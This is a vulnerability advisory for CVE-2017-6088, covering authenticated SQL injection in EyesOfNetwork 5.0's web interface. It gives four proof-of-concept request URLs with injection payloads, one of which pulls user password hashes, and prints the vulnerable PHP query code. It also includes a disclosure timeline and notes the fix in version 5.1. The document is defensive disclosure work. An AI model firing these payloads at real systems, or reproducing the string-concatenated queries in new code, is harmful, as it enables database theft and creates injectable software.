# [CVE-2017-6088] EON 5.0 Multiple SQL Injection

## Description

EyesOfNetwork ("EON") is an OpenSource network monitoring solution.

## SQL injection (authenticated)

The Eonweb code does not correctly filter arguments, allowing
authenticated users to inject arbitrary SQL requests.

**CVE ID**: CVE-2017-6088

**Access Vector**: remote

**Security Risk**: medium

**Vulnerability**: CWE-89

**CVSS Base Score**: 6.0

**CVSS Vector String**: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:L

### Proof of Concept 1 (root privileges)

The following HTTP request allows an attacker (connected as
administrator) to dump the database contents using SQL injections inside
either the `bp_name` or the `display` parameter. These requests are
executed with MySQL root privileges.

```
https://eonweb.local/module/admin_bp/php/function_bp.php?action=list_process&bp_name=&display=%27or%271%27=%271

https://eonweb.local/module/admin_bp/php/function_bp.php?action=list_process&bp_name=%27or%271%27=%271&display=1
```

#### Vulnerable code

The vulnerable code can be found inside the
`module/monitoring_ged/ged_functions.php` file, line 114:

```
function list_process($bp,$display,$bdd){
    $sql = "select name from bp where is_define = 1 and name!='".$bp."'
and priority = '" . $display . "'";
    $req = $bdd->query($sql);
    $process = $req->fetchall();

    echo json_encode($process);
}
```

### Proof of Concept 2

The following HTTP request allows an attacker to dump the database
contents using SQL injections inside the `type` parameter:

```
https://eonweb.local/module/monitoring_ged/ajax.php?queue=active&type=1%27+AND+(SELECT+sleep(5))+AND+%271%27=%271&owner=&filter=equipment&search=&ok=on&warning=on&critical=on&unknown=on&daterange=&time_period=&ack_time=
```

#### Vulnerable code

The vulnerable code can be found inside the
`module/monitoring_ged/ajax.php` file, line 64:

```
if($_GET["type"] == 0){
  $ged_where = "WHERE pkt_type_id!='0'";
} else {
  $ged_where = "WHERE pkt_type_id='".$_GET["type"]."'";
}
$gedsql_result1=sqlrequest($database_ged,"SELECT
pkt_type_id,pkt_type_name FROM pkt_type $ged_where AND pkt_type_id<'100';");
```

### Proof of Concept 3

The following HTTP request allows an attacker to dump the database
contents using SQL injections inside the `search` parameter:

```
https://eonweb.local/module/monitoring_ged/ajax.php?queue=active&type=1&owner=&filter=equipment&search='+AND+(select+sleep(5))+AND+'1'='1&ok=on&warning=on&critical=on&unknown=on&daterange=&time_period=&ack_time=
```


#### Vulnerable code

The vulnerable code can be found inside the
`module/monitoring_ged/ged_functions.php` file, line 129.

```
if($search != ""){
    $like = "";
    if( substr($search, 0, 1) === '*' ){
        $like .= "%";
    }
    $like .= trim($search, '*');
    if ( substr($search, -1) === '*' ) {
        $like .= "%";
    }

    $where_clause .= " AND $filter LIKE '$like'";
}
```


### Proof of Concept 4

The following HTTP request allows an attacker to dump the database
contents using SQL injections inside the `equipment` parameter:

```
https://eonweb.local/module/monitoring_ged/ged_actions.php?action=advancedFilterSearch&filter=(select+user_passwd+from+eonweb.users+limit
1)&queue=history
```


#### Vulnerable code

The vulnerable code can be found inside the
`module/monitoring_ged/ged_functions.php` file, line 493:

```
$gedsql_result1=sqlrequest($database_ged,"SELECT
pkt_type_id,pkt_type_name FROM pkt_type WHERE pkt_type_id!='0' AND
pkt_type_id<'100';");


while($ged_type = mysqli_fetch_assoc($gedsql_result1)){
    $sql = "SELECT DISTINCT $filter FROM
".$ged_type["pkt_type_name"]."_queue_".$queue;

    $results = sqlrequest($database_ged, $sql);
    while($result = mysqli_fetch_array($results)){
        if( !in_array($result[$filter], $datas) && $result[$filter] != "" ){
            array_push($datas, $result[$filter]);
        }
    }
}
```


## Timeline (dd/mm/yyyy)

* 01/10/2016 : Initial discovery.
* 09/10/2016 : Fisrt contact with vendor.
* 23/10/2016 : Technical details sent to the security contact.
* 27/10/2016 : Vendor akwnoledgement and first patching attempt.
* 16/02/2017 : New tests done on release candidate 5.1. Fix confirmed.
* 26/02/2017 : 5.1 release. Waiting for 2 weeks according to our
repsonsible disclosure agreement.
* 14/03/2017 : Public disclosure.

Thank you to EON for the fast response.

## Solution

Update to version 5.1.

## Affected versions

* Version <= 5.0

## Credits

* Nicolas SERRA <n.serra@sysdream.com>

-- SYSDREAM Labs <labs@sysdream.com> 
GPG : 47D1 E124 C43E F992 2A2E 1551 8EB4 8CD9 D5B2 59A1 
* Website: https://sysdream.com/ 
* Twitter: @sysdream